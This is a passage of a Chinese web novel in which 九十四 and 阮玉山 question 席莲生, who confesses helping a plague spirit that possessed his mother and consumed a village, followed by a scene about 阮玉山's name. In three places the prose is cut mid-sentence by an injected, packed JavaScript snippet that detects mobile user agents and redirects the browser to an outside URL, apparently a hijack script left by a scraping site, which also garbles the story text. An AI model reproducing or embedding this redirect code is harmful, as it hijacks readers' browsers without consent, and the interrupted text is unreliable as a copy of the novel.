九十四简直想一巴掌把阮玉山攮死到院墙里。 攮死还不够,得再一拳头把这人的五官揍到后脑勺,让他眼不见心不烦才好。 就在他指尖微动,意欲动手时,那罗迦过来扒拉阮玉山的大腿,想用脑袋把阮玉山顶开。 又不敢用力,只能在阮玉山腿边打转,再拿脑袋蹭蹭,意思意思。 九十四杀心未熄。 阮玉山也步步紧逼。 两个人分明刚才还在好好说着话,这会子又针锋相对起来,要不是恰巧院子外有小厮来报,说隔壁昨儿个老爷带回来的另一位公子醒了,九十四说不准下一刻就张嘴给阮玉山咬了上去。 一听席莲生醒了,九十四如获大赦,总算在乱七八糟的心绪里拽到一根正事儿的线头,巴不得当即从原地移动到席莲生跟前,免得在此受阮玉山严刑拷问。 哪晓得屁股刚离开椅子,又被阮玉山一把按回去:“没规矩。” 他侧身而立,一手按在九十四肩上,一手负在身后,眼风凛然,只转头对来报的小厮冷声道:“叫他自己过来。” 小厮唯唯诺诺应了,利落地跑去请人。 九十四目送小厮离去,神色古怪地躲开阮玉山放在他肩上的手。 倘或对方还是饕餮谷高高在上的老爷,他还是一个坐以待毙的阶下囚,那九十四会认为阮玉山的一切做派理所应当;可阮玉山自己行为不端,整日围着他转来转去,扰乱了他的心智,却又在无意间露出一副老爷的姿态,九十四便看不过去。 仿佛就因为阮玉山是主子,他身边所有的人都该是下人。 九十四跟他呆在一块儿,也变成了主子。 可九十四并不认为谁该当自己的下人——若是让本来身为主子的阮老爷来做下人,他倒很有两分兴趣,甚至却之不恭。 阮玉山的掌心落了空,扭过头,丹凤眼瞥向九十四,眼风还没扫到九十四脸上,就已经瞧出这人在心里嘀咕什么。 蝣人为世间最下等,九十四饱受其辱,自然也不会把其他下人的地位视作理所当然。 可世间阶级千百年来本就如此,有人生来是老爷,含着金镶玉出生;有人生来是下人,卖身契附在襁褓中裹身。 还有人生来是蝣人,日夜煎熬向死而生。 即便他摸透了九十四的秉性,遣退这院子所有的近身丫鬟和小厮,也总有避免不了展露阶级的时候。 偌大一个宅院,若要阮玉山事事亲为,他还做什么老爷,打理什么生意? 给人做长工去得了。 不过他从不好为人师,对苦口婆心地同九十四说大道理的行为也并无兴趣。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300976|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 人是入世的动物,千里长路以跬步而起,蝣人一生关在笼子里,世间的准则不是九十四看两页书,在朝夕之间听阮玉山说两句话便能理解铭记的。 不多时席莲生让人扶着来了,两个人便没来得及闹别扭。 九十四忽然起身往房里去。 阮玉山示意小厮给席莲生搬了凳子,又把食盒打开,放到席莲生手边。 这人从昨夜被带回来就滴水未进,即便要审,也犯不着让人饿着肚子回话。 九十四从房里拿出一个陈旧的本子,正是那本吃羊日录。 他现在对席莲生好感全无,非但如此,甚至还带着些敌对的情绪。 席莲生是他从饕餮谷出来自认交的第一个朋友,虽说朋友不是非得对自己的一切知无不言言无不尽,可席莲生对他有所隐瞒是其次,对村中异象闭口不言,这一点却几乎能要他的命。 可笑的是,最后关头,他还在冒险前往学堂,企图救席莲生一命。 他原以为席莲生同自己和阮玉山一样,是被迷了心智的普通人,直到他在矿道中发现此人毫发无损,才隐约有些恍然大悟的意思。 如若九十四原本身无寸铁又手无缚鸡之力,再或者没有那罗迦的助力,那他兴许和阮玉山真的会葬身在那个小小的村落,成为那些傀儡淤泥的一部分。 那他原本所有的希冀,为了族人做的那些虽微不足道却还称得上夜以继日的努力,全都会毁于一旦。 席莲生是比阮玉山更危险的仇敌。 阮玉山至少坦荡,从一开始就让九十四知道自己不是好人。 而席莲生,在他察觉出蹊跷的第一时间,非但没有好意相助,反而刻意安抚,告诉他一切正常,引诱他继续待在村中,险些失去理智。 哪怕对方当初只是袖手旁观,九十四也不会失望。 毕竟书上有词,说独善其身。 九十四认为独善其身是人之常情,犯不着去怨恨。 可席莲生看起来更像是想拉他下水。 他不配做他的朋友。 九十四心想,看来“朋友”二字,是绝不能草率相认的。 他冷了心肠,说话也带着半分寒意,不再客气,指着那日录问:“这簿子是谁的?” 阮玉山抱着胳膊站在他身后,原本还因为九十四对见席莲生这事太过积极而不大高兴,一听九十四这个语气,眉毛先是一挑,随即看向那罗迦,瞅见这家伙也在对着席莲生龇牙。 他当即打量起九十四的背影,发现这人回去拿簿子的同时还特地穿好了鞋。 怎么在他面前就不穿鞋又不洗脸的? 原来是跟席莲生见外。 阮玉山低头摸着鼻尖笑了笑。 那席莲生原本将将转醒头还晕乎着难受,糊里糊涂被人带到院子来,先接了九十四的簿子,听见对方泠泠质问,心中不免颓丧。 一抬头却瞧见阮玉山躲后头偷笑,一时便有些摸不着头脑,拿不清这俩人到底是个什么态度。 九十四见席莲生望着阮玉山一脸莫名其妙,心中怪异,便顺着对方的目光往后看。 才一转过去,就见阮玉山神色肃穆,威严高大地背着手立在那里,漠然开口,对席莲生呵斥道:“看我做什么?这东西是我写的?” 39.疫灵 阮玉山正色起来是很有些威慑力的。 至少眼神容不得人有胆子直起目光多看。 席莲生只能看回自己怀里这本簿子。 显然他心中一清二楚这东西所属何人,只用手在书封摩挲了两下,又随便翻了翻,露出一副果不其然的神色,好似从一开始便料到九十四扔给自己的是这本簿子,随即合上,叹气道:“这是我娘写的。” 九十四起初听到这话没有多想,可过了片刻,把这话从脑子里过了一边,便脸色骤变,凝眉盯着席莲生,仿佛在等对方一个答案。 果然,席莲生看着九十四脚上一双覆满山灰的鞋子,指着它道:“你这鞋,是她亲手做的。” 九十四心里一沉,尚未恢复气血的脸又白了几分。 也就是说,衣棚老板,便是席莲生的娘。 而写下这本日录的,兴许早就不是正常人了。 “你既问我,便应该料到,这簿子上的每一只羊,都不是真的了。”席莲生放下日录,慢慢卷起裤脚,露出左腿的义肢,“簿子上写的每一只羊,都是目连村的村民。” 他又看向阮玉山:“昨夜盗取那颗骨珠,绝非我的本意。是我娘……太想尽快了结自己。” 他还没开始详细陈述缘由,阮玉山已隐隐从这话语中听出些意思。 ——村中古怪,大抵还是和自家老太爷骨珠所造的封印有关。 果然,下一瞬,便听席莲生道:“数十年前那场瘟疫,从来没被彻底抹灭过。” 七十年前,佘家寨挖到观音所留下的三尖戟封印边缘,神器震响,封印松动,过山峰遗留的妖气在方圆数十里的村落中惹出一场极大的瘟疫,村中百姓几乎全数因此亡命,当时的幽北城主为了阻止瘟疫蔓延,将沙佘关以东尽数封锁,只进不出,才渐渐将瘟疫止住。 以致后来很长一段时间,离过山峰最近的目连村寸草不生。 待瘟散去若干年后,那地界才陆陆续续有了人气,又盘活出一个新的目连村。 “其实它根本就没有消失。”席莲生谈起瘟疫,脸上闪过一抹痛色,“非但没有消失,还借助过山峰强大的妖气生成了疫灵。只是村子被封锁的那些年了无人烟,它只能蛰伏,又或是逃窜到了别处……总之,没过多久,随着村子的活人再度出现,它也就回来了。” 不仅回来了,还从一片无形无状的瘟疫变作了开智的疫灵,悄无声息地侵蚀整个村庄。 “首当其冲的便是我娘。”席莲生捏住日录簿子的五指蓦地攥紧,眼中闪现一丝悲愤与恨意,“它霸占我娘的肉身,以此为媒介,模仿人的谈吐行为。越是模仿,就越是开智;越是开智,就越是在我娘的脑海中占据更多的位置,逼迫我娘为它让出灵魂。” 九十四沉思道:“它杀了你娘?” “没有……没有。”席莲生一只手握成拳头,忍着泪道,“正是因为它没杀,长久地在我娘的体内生长思绪,操控我娘的身体,才逼疯了我娘。” “起先是她不肯出门了。” 席莲生平复了心绪,放缓呼吸,沉静地说道:“这些都是我从村里人陆陆续续让驿差送往我求学之地的信件中得知的。那段日子,应当是村中最古怪的时候。” 小木屋的女主人整日整夜把自己关在房中,路过的村民总是听到那里面传出疯狂的嘶吼和尖啸,偶尔又能听到一些抽泣的低语和求饶,每逢有人敲门去问,她却总说一切安好,开了门,也不见有恙,久而久之,人们便不问了。 可谁都知道,这家男主人死得早,女主人唯一的孩子在外求学,家里除了她自己,压根不见第二个人。 村民不再惊扰她,转而给她在外求学的孩子送信,企图能把他叫回来看看。 “第一封信还没送到我手里,村子就有了变故。”席莲生的视线定格在怀中的簿子上,“他们给我送第二封信,信上说,村里的土地会吃人了。” 他的鼻翼翕合了两下,长长呼出一口气:“吃人的不是土,是我娘。她的身体融化进了土地,像那片瘟疫遍布在村庄里。” 每一天都有村民消失。 没过多久消失的人又会回来,或者说再度出现。 村民们一开始还会恐慌,随着消失又出现的人越来越多,那股恐慌之气也越来越淡,好似所有人都在渐渐把这当作习以为常的事,他们的血肉还是血肉,魂灵却不再是魂灵。 第一批去而复返的人目光空洞,长得奇形怪状。 随着疫灵复制肉身的本事越来越熟练,那些消失又回来的人也慢慢变得正常。 第二批,第三批……整个村子的人都又有了跟普通人一样的长相。有健全的四肢,甚至恢复了生动的脾性。 最后他们都变得正常了。 “它吞噬了村子里所有的村民,把他们的骸骨养在河水之下,让他们的魂魄滋养这片土地——也就是滋养它,就像当初让我娘的魂灵和肉身滋养它一样。”席莲生摸了摸自己左腿的义肢,“我娘被逼疯时,已分不清自己是谁,是人还是土——其实那时她已是一片土地了。兴许偶尔恢复人的神智时,会变回人。” “变作人的时候,就是她在偶有挣脱疫灵掌控的时候。”他的右手慢慢翻着日录,“她在癫狂的边缘意识到自己的反常,才会在每次清醒时写下这些东西。可我知道,这仅仅是她能回忆的其中一桩,那些她在疫灵的控制下完全失去理智所做的事,一定远不止于此。” “待我从那几封信件中察觉不对赶回去的第一晚,它就来吃我了。”席莲生的指腹摸过左腿冰冷的木棍,“才吃了我一条腿,我娘便认出了我,挣扎着,第一次彻底对这片肉身土地的夺回掌控权,救下了我。” 席莲生说完,陷入了沉默。 阮玉山倒是因他的话想起了自己当时在河水下见到的那棵倒置的白骨巨树,每一根树枝的末端都是一具白骨躯骸。 想来那就是疫灵用以滋养它用肉身造就的土地的老窝。 “我到村子的第一晚,被迷雾带入一片丛林。”阮玉山记得,当时那从那林子往上看,过山峰的山头和月亮与平日里所看不同,山头的朝向和月亮的位置同往常相比呈现镜像,“想必当时便是在河下,那株巨树的根茎处。” 席莲生失神点头:“不错。” 九十四也想起了什么,抬起手看了一眼自己手背曾经被那株肉芽刺伤后泥质化的伤口,如今那里虽未扩散,却也没有愈合。 他背着手低头踱步,自己低声琢磨:“被根茎沾染肉身的人,便会失智,即便逃脱也看不出村中蹊跷。” 席莲生左腿是义肢,走路该是跛脚,九十四即便失去理智也该看出这一点。 可对方机敏,几乎从未让九十四看过自己走路。 即便很偶然在学堂的那一次,席莲生也走得非常慢,而当时九十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“可惜你们还是让疫灵失手了。”席莲生接着说,“不过它早就生出了神智,即便杀不死你们,也会让肉株将人刺伤,使人在不知不觉中失去理智,最后成为这村子里冤魂的一部分。” 阮玉山忽的一哂,将他打断,提起他前一句话:“灵珠照彻?什么灵珠,那是我老太爷的骨珠。” 他先前便有猜想,矿山中每逢朔望便有一次异象,是否是神器在加固封印,同时放出一部分力量检索周围妖力的逃逸和泄露。 神器轻易不能复苏,可因为舍家寨当年挖矿无意间将原本的封印破坏,才导致神器不得不月月警醒,对妖灵多生提防,同时对封印一次次加固。 而每次先朔望日一步提前打开的矿道和守在矿壁中的阮老太爷,则是为了吓退这些年来某些误入此中或是怀揣不轨之心闯入矿道的凡人。 龟缩在目连村里的疫灵靠近朔望日时察觉到神器外放的封印之力,不得不受到挟制,同时还得收束自己的力量,以免被神器捕捉,故而在神力最强的朔望当天,它的力量在村中会彻底失控——或者说消退,使得整个村子陷入未被捏造的无序。 “那你呢?”九十四背着手绕到席莲生身前,在没听完对方的所有解释以前始终是个敌对的审视姿态,“你为何能像正常人一样活着?” 席莲生拿着吃剩的半块山花糍苦笑:“自然是因为,我一直在……帮它杀人。” 40.真相 娘亲的意识还有一部分残留在世间。 这是席莲生被疫灵吞食下一条腿后想到的第一件事。 “只要能让她活着,我做什么都可以。” 既然要坦白,他也不打算有所隐瞒。 “疫灵靠着我娘,靠着侵蚀全村人的意识和魂魄已经化出了神智,能思考,会交谈。我告诉它,只要它留我娘一条性命,我就替它杀人。”席莲生又长长叹了口气,“你们不知道……不知道一个怪物穿着自己最熟悉的人的躯壳站在你面前,是一种什么感觉。” 那都不重要了。 哪怕只是一个躯壳,哪怕躯壳里的原本的灵魂只剩下万分之一,席莲生也愿意为此付出所有代价。 “它让渡了我娘的躯体,让她再次像往常一样每天到河边开设衣棚,让她日复一日像个傀儡一样过着重复的日子,外人看来,她没有任何蹊跷——只是我不能见她。” 席莲生的出现会让那副还残存着一部分母亲意识的身体产生神智的混乱,已经成为傀儡的肉身和那一丝沉睡的神智在感知到席莲生的一瞬会开始不停地斗争,只需在片刻间,那副躯壳便会在紊乱的思绪中撕扯为一堆淤泥。 麻木的傀儡躯体和衣棚老板存留的人性在疫灵的操控下达到一种诡异的平衡,她既不像村子里异化的村民那样会随着朔望日的逼近发生不可控的外形变化,也不会独立到能挣脱掌控。 自打疫灵发现这一点,便每日让衣棚老板在外开店,顺便招徕过客去村中居住。 “我的作用便是给它善后。”席莲生微笑着看向九十四,“或是像对付你们一样,帮它挽留那些不大好对付的客人。” “我知道,我娘其实一直清醒着,她一直在挣扎。”席莲生嘴角的笑意凝滞在一个奇怪的弧度,“她太聪明,她一直是一个聪明的人。我爹去世时,她不过一届村妇,目不识丁,为了我的前程,每日收了工便陪我到几十里外的学堂求学,我在学堂坐着,她就在学堂外陪读,生生让自己也学会了读书识字。” 他的视线定格在九十四身上,仿佛透过九十四看到了不久前那个正午。 那时的九十四就像席莲生的娘亲一样,安安静静站在学堂的窗户外,蹭着别人的课本看书认字。 “正因为她太聪明,才太不容易被操控。”席莲生说,“就算做了傀儡,她也意识到自己的不对,她甚至能猜出自己被疫灵控制了。因此她一边做着傀儡,一边对抗疫灵。” “疫灵怕火,她白天违心地留人住宿,夜里便总是去提醒留宿的过客记得在院外点上火盆;她忘了自己的存在,却还挂念着我。莲生莲生,她绣的东西上永远都有一瓣红莲;她还一直……企图毁了自己。”席莲生说到此处,忽地激动了,“可我想要她活着!” 他说完,又强忍着平复下来,低头道:“她和疫灵早就融为一体,她是矿山下这片土地的一部分,疫灵消失了,她也就没了。我知道,我都知道……可我还是想要我娘活着。” 于是他便不知疲倦做着疫灵的帮凶。 九十四不说话了。 一刻钟前他责怪席莲生,像恨仇敌一样蔑视席莲生助纣为虐企图害他殒命的行径,可在得知缘由之后,他又觉得自己责怪得很不对,因为席莲生的目的实在无可指摘。 九十四也无比希望自己的每一个族人都能活着,只要他的族人能活,他也愿意付出一切代价。 可如若要他为了他族人的性命去害更多无辜人的性命,他也不答应。 但席莲生答应了,就一定错吗? 人世间千丝万缕的感情他越看越不明白。 九十四活了十八年,在蝣人这个身份里有自己的标杆,越过标杆的事他绝不会做。 可笼子外的人似乎并非如此:席莲生知书达理,却为了一己私情残害无辜性命;阮玉山把他当猎物买了回来,却又总是阿四阿四地叫他;这称呼九十四听着新奇,虽不愿再给对方替自己取名字的机会,却也默认了这个新叫法。 似乎自己也潜移默化受了影响,成了笼子外的人了。 他也有一部分不是过去的蝣人九十四了。 他在席莲生身上找不到判断的出口。 于是再次像卡壳似的陷入了沉默。 阮玉山可清醒得很。 人情世故他见多了,为了借机脱罪编出满口谎话的人他看得更是不少,因此并不动容。 他只管问席莲生没说清楚的:“照你的意思,昨夜矿道中盗取骨珠一事,并非你本意,而是自己被疫灵支使了?” 席莲生纠正道:“不是疫灵,是我娘。” 他目不斜视看着阮玉山:“我娘,她一直想跟疫灵同归于尽。自打察觉出朔望日疫灵的变化后,她便总是企图找到其中玄机,将疫灵彻底毁掉。直到那晚,你去了矿山——” 矿山中的一切动静都被山下的土地静静聆听着。 “我说过,疫灵蔓延在这片土地上,包括我娘,也是它的一部分。”席莲生道,“你说的话她听得到。她知悉了有关封印的一切,便趁疫灵蛰伏起来,力量最弱的望日,控制我,让我去盗了山中灵珠。以此撼动封印,企图惊醒神器,让疫灵被神器察觉后结束一切。” 阮玉山淡淡笑了一声:“凭什么她会觉得撼动了封印,神器一定会毁了疫灵,而不是让疫灵和封印下的妖灵彻底逃脱?” “她不是在赌吗?”席莲生直视着他,“上一次封印被撼动,不是很快让佘家寨数百条人命陪葬了吗?那再撼动一次,是神器失去作用的可能更大,还是再次让疫灵陪葬的可能大,你们昨晚不是也看出来了?” 他的语气蓦然强硬起来,甚至带着点质问:“还是说,你认为我娘的理智,已经全然被疫灵同化,只想窜逃了?” 阮玉山对他的解释不置可否,也没被席莲生的逼问震慑——一介书生,就算在阮玉山面前气到怒发冲冠,也不值得他动一根手指头安抚。 就这两句质问,还没九十四伸手挠一下来得有劲儿。 不过他也懒得摆老爷的架子,不去跟席莲生计较冒犯和失礼,只问:“我初到沙佘关那日,手下人先听你娘提起到了慧小和尚。她怎么会知道了慧?河边那些树枝插的地符又是怎么回事?” 席莲生像是早就知道阮玉山会问出这话,提起了慧,他倒仿佛理亏似的垂下头,脊背深深起伏了一下,声音里带着点歉意:“我娘她,不认识了慧。她认识的……是云真小师父。” 阮玉山皱眉:“云真?” 席莲生颓丧点头:“是了慧小师父的师兄。你既知了慧,便该知道云真。云真道长他——死在村子里了。” “云真初到此地时,并不是被我娘在衣棚揽下来的。他是察觉了村外那条河水的异样,主动留下的。”席莲生遮住眼睛,似是悔痛不已,双肩微微颤抖,竟是比说起他娘时还要激动几分,“那时我娘问他——不,村子里和周围路过的人,就算不问,他也逢人便提,拿着他小师弟的画像,说他正下山找自己的师弟了慧,如果有人瞧见,还请告知他。兴许是云真提过太多次,我娘便记住了了慧的法号。” 这倒是跟阮玉山所知的情况几乎无差。 “云真是个好人。”席莲生说起云真,始终低垂着脑袋,叫人看不见神色,只听语气可知真是十分难过,“他才发觉河水诡异时,由于疫灵妖力强大,不敢贸然下河,但还是在河边立了地符,以防有人误入其中遭受不测,还说待自己修养几日,便会想法子探查河中古怪。我娘为了护他,连续几晚亲自夜夜去他院中点火盆。” “疫灵在你娘的阻挠下不得手,便轮到你出手了?”阮玉山凭借席莲生所言,心中已猜到后续,“你亲自去院外打灭了火盆,让疫灵将其卷入河下生生害死。倘若当初我们没有得了那罗迦血液护院,想必不出几日,也会遭你毒手?” 席莲生没有否认:“怪我。怪我太过心急,只想让我娘随疫灵的寄生活下去。如若我再多等等,说不定云真道长……真的有法子救我娘。” “哦?”阮玉山并不为他的情真意切所打动,“你如何知晓他有法子能救你娘?河岸边那地符,当真是云真插的?” 如果席莲生说是,那势必可疑。 河边地符阮玉山早去探查过,一早发现那地符威力甚小,别说拦人,就是拦只猫儿都够呛,顶多拦点苍蝇蚊子。 云真若真是要立地符以免让人靠近,绝不会设如此简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314207|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单的阵法。 加上那地符设立手法相当生疏,压根不会出自云真之手。 席莲生摸了摸身上的衣兜,摸到一半才想起什么,又停下来解释:“河岸边的地符,一开始是云真道长设的。只是后来你们所见,并不是出自他手了。” 他说道:“那是我娘插的。他死后,我娘在他住过的屋子里捡到几本古怪的册子,上头写了许多奇怪的阵法符文——那得说到河岸每晚的动静了。” 阮玉山知道那些册子。 那便是他小时候和了慧嘴馋偷学里头术法捉山鸡烤着吃,结果最后差点烧了山还挨一顿打的东西。 九十四忽然叹了口气。 阮玉山和席莲生都莫名其妙地望过去。 只见九十四又有模有样地踱起步,一副老大爷的架子,慢条斯理地说:“河里的怪声,是疫灵夜间不得手时,将留宿的人吸引出去的手段。” 阮玉山那张神色刻薄的脸一转向九十四便不自觉有了点笑意,好像九十四这个人本身就让他瞧着很有意思似的。 他先席莲生一步问九十四,倒不像是真想追问什么,只是想逗一逗似的搭话:“你怎么知道?” 九十四不搭理他,背着手走过去想拿点食盒里的芋花糍吃吃,刚要伸出右手,想起这手阮玉山还没替他擦过,便又把手藏进袖子里,继而伸出左手去拿糕点,同时说道:“村子里夜间无人,是变作了淤泥的村民们每逢入夜滚进河中找到自己的躯骸,以免肉身长时间离开骨珠发生异化或者腐烂。” “可是云真来了。有了他的地符,夜间村民不进河,迟早会被他察觉异常。”九十四少有说了那么长一串话的时候,虽然说的话简单,却难得地流利。 他刚要把芋花糍放进嘴里,却忍不住习惯性地低头用鼻尖嗅了嗅,又想到食不言寝不语,便没吃,只拿着:“所以那地符也被你拔了。直到云真被害死,你娘为了阻挠疫灵杀人,又学他的手法去摆地符阵,可是摆得不像,被阮……” 九十四指向阮玉山。 他忽然意识到一件事。 时至今日,自己还不知道阮玉山叫什么名字。 阮玉山整天阿四阿四地喊他,他却不怎么呼唤阮玉山的名字。 偶尔叫两声,也是奚落地喊一喊“阮老爷”。 九十四收了手,装作若无其事地回过头,随便指指阮玉山:“被他发现,败露了一切。” 席莲生虽然不明白九十四怎么推测出这一切,不过他对此倒是基本供认不讳:“至于了慧小师傅,是我娘学云真道长,逢人便说。兴许希冀能撞上那么一两个认识他的人——云真道长古道热肠,了慧小师父若是听闻他师兄曾经过此地,必然前来探寻。说不定,就能将这村子里的一切都解救出来。哪知真让她撞见你们,是了慧的故交。” “疫灵怕火,所以你娘在阻止外人入河时总说要把河里的东西烧了才好。”阮玉山听席莲生解释完这一切,没说信,也没说不信,只问,“那她现在呢?” “山崩了,目连村没了,封印若是加固了,那我娘和疫灵……应该都解脱了。”席莲生抬起头,眼角竟有隐隐泪迹,“要杀要剐,你们请便吧。” “你不是我手下的人,我没功夫治你。”阮玉山对红州以外的事自来是事不关己高高挂起,天下滥杀无辜的那么多,他可管不过来,“你要寻块石头一头撞死也好,找根绳子吊死也罢,都随你。” 阮玉山说完,又看向九十四。 自己对这档子事儿不感兴趣,可不一定九十四就不愿意替天行道。 果不其然,九十四站在阮玉山跟前,思考着决断道:“你回去,守着你娘和那些枉死的冤魂。” 九十四认为自己不是席莲生,没有经历席莲生的一切,也未曾在对方手下殒命,便没资格再去指摘对方的立场。可他也不能替那些被席莲生协助疫灵害死的人原谅。 话音未落,他又觉得自己不太人道,剥夺了席莲生寻死的权利,于是补充道:“或是寻块石头撞死也好,找根绳子吊死也罢,都随你。” 这话学得是照本宣科一字不落,还学得大大方方毫不遮掩。 阮玉山这回在他身后笑出了声。 41.阮玉山 席莲生对阮玉山莫名其妙的举动已然熟视无睹。 他交代完一切后,自己也如释重负,整个人呈现出一种颓唐的画面,心松了下去,身子也后知后觉开始冷了。 席莲生失神地搓了搓自己的胳膊,对九十四说道:“多谢。” 接着便沉默地站起来,像个老人似的一步一步往外走,兴许是要从此回到矿山脚下去了。 九十四手里捏着块芋花糍,望着席莲生的背影正出神,忽听耳边飘来一声:“玉山。” 他陡然回头,发现阮玉山不知几时站在他身后,在离他极近的位置,几乎贴着他的耳朵,偏头看着他。 “嗯?”九十四也偏头,皱着眉头不知不觉朝阮玉山凑近,像是想听清楚他说什么。 “玉山。”阮玉山一听九十四这么哼声,心里就痒痒,他似笑非笑瞟了一眼九十四凑近的嘴唇,重复道,“我叫阮玉山。碎玉的玉,昆山的山。” 九十四敛下眼:“哦。” 随即便错开阮玉山,走向那把摇椅。 显然他对那把椅子的新鲜劲儿多过阮玉山的名字。 席莲生一走,九十四没事儿了,就坐上去自己慢悠悠摇着看书。 刚躺上椅子,九十四把手中芋花糍放进嘴里,像是想到什么,望着天轻声喊:“阮玉山。” 阮玉山站在原地背着手,笑吟吟地看他,等着看九十四又憋了什么坏水儿。 九十四咽下芋花糍,在嘴里一点点抿着舌头回味这味道,又把眼珠子往下转,垂眼看向不远处的阮玉山,并不提要求,而是伸出没擦干净的右手问:“擦手的帕子去哪了,阮玉山?” 那罗迦跑过去,咧着嘴边哈气边把自己的前爪搭在九十四掌心里。 阮玉山觉得有意思极了。 敢把他的名字喊得这么不客气很有意思,敢这样喊他的人更有意思。 换做以前,九十四即便不晓得他的名讳,也能跟他沟通毫无阻碍;偏偏九十四问完了话,还要再喊几遍他的名字,说明九十四对阮玉山这个名字还是很感兴趣的。 英明神武的阮老爷想得比寻常人更深更远。 他理所当然地认为,九十四对他的名字感兴趣,究其根本,是对他这个人感兴趣。 九十四既然对他的人感兴趣,感的是什么兴趣,九十四自己糊里糊涂,阮玉山却是心里跟明镜似的。 阮老爷决定提点提点这个不知好歹的九十四。 他让候在院外的小厮收了脏水,自己依旧先打湿了锦帕,一言不发地过去抓住九十四的手,慢慢捂湿,再擦干净。 那罗迦腿脚麻利的躲一边晒太阳去。 一边擦手,阮玉山一边漫不经心地问:“为何要放他走?” 九十四正翻开话本,听见阮玉山的话,眼也不抬:“你不是也放他走?” 阮玉山笑:“我放他走,是感动他对他娘的感情。” 一语未了,便听九十四果断道:“不信。” 阮玉山隔着锦帕包裹九十四的手掌骤然抓紧。 他眼角微缩:“不信?你凭什么不信?” 他忽严肃了口气:“你一个蝣人,哪里懂这外头中原人的感情?” 九十四听了这话并不恼,阮玉山强调他是蝣人,其中并无贬他低人一等的意思,倒像只为了阐述他们这些自古以来在马背上长大的蝣蛮子不懂中原万般风月的意思。 况且他确实不懂,而且跟阮玉山一样,认为自己的不懂得归咎于一部分血脉的原因。 蝣人脾性粗狂豪放,骨子里就是淌不出爱恨交织的血来。 “那你说说,阮玉山。”九十四铭记着兼听则明的道理,摆出一副对新奇玩意儿来者不拒的姿态。 他学着阮玉山当初在饕餮谷的姿态架起一条腿,刚把右脚脚腕搭在左边大腿上,便莫名对着自己这副大马金刀的姿势出神,怎么也想不起来这姿势是在哪里见过。 随后他又意识到这坐姿并不利于他把书放在腿上,便把脚腕伸下去,两条大腿交叠着架起来,虽也是个翘腿的姿势,却一下子就有了几分斯文气。 九十四舒舒服服地把书放在大腿上翻阅着:“你说说,中原人的感情,是什么感情?” 阮玉山眼底划过一抹笑意。 “要说也简单。”阮玉山擦手的动作便慢了,随着他说话的语速一下一下隔着锦帕摩挲着九十四的手指,“盼着一个人不好,盼他潦倒,盼他死去,这是坏的感情;盼着一个人好,盼他兴旺,盼他长命百岁地活着,这是好的感情。” 他弯下腰,放低了声音:“嘴上说盼人死,心里却在盼人活,这是最难自知的感情。” 他盯着九十四,发现这人果真没有在认真看书,而是把视线放在书上,眼睛却一动不动,在听他讲话。 阮玉山掷地有声:“这是口是心非,是心猿意马,是你昨日在矿洞要杀了我,却又救了我。” 九十四啪地把书合上。 他神色未动,仍是霜雪般冰莹的一张脸,乌黑的睫毛缓缓扬起来,带着一股锐气的目光直射阮玉山的面庞。 良久,九十四扯了扯嘴唇,问道:“你的意思,是我对你有感情?” 阮玉山笑而不答。 九十四嘴角抿嘴一抹冷笑,又问:“那你呢?你对我是什么感情?阮玉山。” 自打清楚了阮玉山的名字,九十四便忍不住说话时总叫上一声。 一来是新奇,二来这也是在饕餮谷带上的习惯。 他们蝣人,各自关在笼子里,极少有机会挨在一块儿,个个都是披头散发,脏衣黑裤,因此说话时便总要先喊一声彼此的编号,确保对方是自己要找的人。 “我不像你。”阮玉山说,“我心明眼亮,目不斜视——我一向很自知。” 九十四点点头:“你盼我好好地活着。” 他也靠过去,微斜着脸,与阮玉山视线交错着凝视对方:“那怎么还不解开我的刺青?” 阮玉山弯眼。 他低了低头,似是笑够了,才又温声对九十四问:“阿四,你看我,像个好人么?” 九十四不言。 哪有像不像,阮玉山压根就不是。 “我不是个好人。”阮玉山说道,“又怎会因为喜欢你,就放了你?若放了你,叫你跑了,就换我活得不自在了——我没那么仁慈大方。” 九十四一副不出所料的模样:“那你是要禁锢我的自由了?阮玉山。” 阮玉山眼色微 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“你要钱做什么?”他没说给不给,先指着后头的屋子,“家里要吃有吃,要穿有穿,要多少书都随你看。你是哪里不满意了,还是住得不舒坦,要拿钱去置换个住所?” 九十四坦坦荡荡:“我要出去走走。” 阮玉山一想,九十四这要求也算合乎情理。 在笼子里关了那么多年,好不容易出来,就进了个怪村,如今总算安然落脚,想出去逛逛也无可厚非。 “走吧。”阮玉山提脚便往外去,“正好逛完回来给你洗洗。” 走了两步,没听见后头动静,回头一看,发觉九十四还在原地傲然不动。 阮玉山转过身,抱着胳膊,要看看这个九十四又想搞什么名堂。 须臾,像是终于等他回头看过来了,九十四摆足了架子,这才慢条斯理地道:“我出去走走,不要你跟着。” 他说完,抿了抿嘴,像是要忍,但又忍不住。 最后还是加上了一声:“阮玉山。” 阮玉山这辈子听自己名字听得最多的就是这天。 不过他一点也不烦。 